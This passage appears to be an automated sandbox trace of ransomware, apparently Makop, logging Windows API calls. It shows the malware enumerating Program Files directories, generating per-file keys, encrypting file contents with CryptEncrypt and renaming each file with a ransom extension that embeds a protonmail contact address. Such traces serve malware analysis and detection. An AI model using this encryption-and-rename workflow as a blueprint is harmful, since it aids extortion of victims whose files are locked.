(hKey=0x48c7128) returned 1 [0105.364] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.365] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.365] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.365] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.365] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.365] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.365] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.366] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.366] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4dc18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4dc18, lpOverlapped=0x0) returned 1 [0105.377] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dc20, dwBufLen=0x4dc20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dc20) returned 1 [0105.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4dc20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4dc20, lpOverlapped=0x0) returned 1 [0105.383] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4dcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.383] SetEndOfFile (hFile=0xf0) returned 1 [0105.392] GetProcessHeap () returned 0x48a0000 [0105.392] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.392] GetProcessHeap () returned 0x48a0000 [0105.392] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.392] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0105.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.394] CloseHandle (hObject=0xf0) returned 1 [0105.394] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0105.394] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned 66 [0105.394] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*") returned 70 [0105.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0105.395] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.395] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0105.395] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned 71 [0105.395] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*") returned 75 [0105.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0105.397] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.397] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0105.397] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0105.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0105.398] GetProcessHeap () returned 0x48a0000 [0105.398] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.398] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.398] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0105.398] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0105.403] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0105.403] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.403] GetProcessHeap () returned 0x48a0000 [0105.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.403] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0105.403] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0105.403] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0105.404] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0105.404] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0105.404] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0105.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0105.404] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0105.405] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0105.405] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.405] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa2b58, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0xa2b58, lpOverlapped=0x0) returned 1 [0105.425] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0xa2b60, dwBufLen=0xa2b60 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0xa2b60) returned 1 [0105.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.432] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0xa2b60, lpOverlapped=0x0) returned 1 [0105.438] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0105.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa2c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.438] SetEndOfFile (hFile=0x114) returned 1 [0105.448] GetProcessHeap () returned 0x48a0000 [0105.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.448] GetProcessHeap () returned 0x48a0000 [0105.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.448] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 130 [0105.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.450] CloseHandle (hObject=0x114) returned 1 [0105.450] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0105.450] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0105.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0105.451] GetProcessHeap () returned 0x48a0000 [0105.451] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.451] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0105.451] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0105.458] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0105.458] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.458] GetProcessHeap () returned 0x48a0000 [0105.458] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.458] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0105.458] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0105.458] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0105.459] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0105.459] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0105.459] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0105.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0105.459] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0105.460] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0105.460] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.460] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x3a18, lpOverlapped=0x0) returned 1 [0105.461] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x3a20) returned 1 [0105.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.462] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x3a20, lpOverlapped=0x0) returned 1 [0105.462] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0105.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.462] SetEndOfFile (hFile=0x114) returned 1 [0105.469] GetProcessHeap () returned 0x48a0000 [0105.470] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.470] GetProcessHeap () returned 0x48a0000 [0105.470] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.470] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 132 [0105.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.471] CloseHandle (hObject=0x114) returned 1 [0105.472] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0105.472] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0105.472] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0105.472] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0105.473] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0105.473] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0105.473] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0105.473] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0105.474] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883204e0, ftCreationTime.dwHighDateTime=0x1d5bc2c, ftLastAccessTime.dwLowDateTime=0x36edfeb0, ftLastAccessTime.dwHighDateTime=0x1d5b630, ftLastWriteTime.dwLowDateTime=0x36edfeb0, ftLastWriteTime.dwHighDateTime=0x1d5b630, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="industrial.exe", cAlternateFileName="INDUST~1.EXE")) returned 1 [0105.474] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5906c70, ftCreationTime.dwHighDateTime=0x1d57875, ftLastAccessTime.dwLowDateTime=0x577697d0, ftLastAccessTime.dwHighDateTime=0x1d58095, ftLastWriteTime.dwLowDateTime=0x577697d0, ftLastWriteTime.dwHighDateTime=0x1d58095, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0105.474] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5906c70, ftCreationTime.dwHighDateTime=0x1d57875, ftLastAccessTime.dwLowDateTime=0x577697d0, ftLastAccessTime.dwHighDateTime=0x1d58095, ftLastWriteTime.dwLowDateTime=0x577697d0, ftLastWriteTime.dwHighDateTime=0x1d58095, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 0 [0105.474] FindClose (in: hFindFile=0x48c7068 | out: 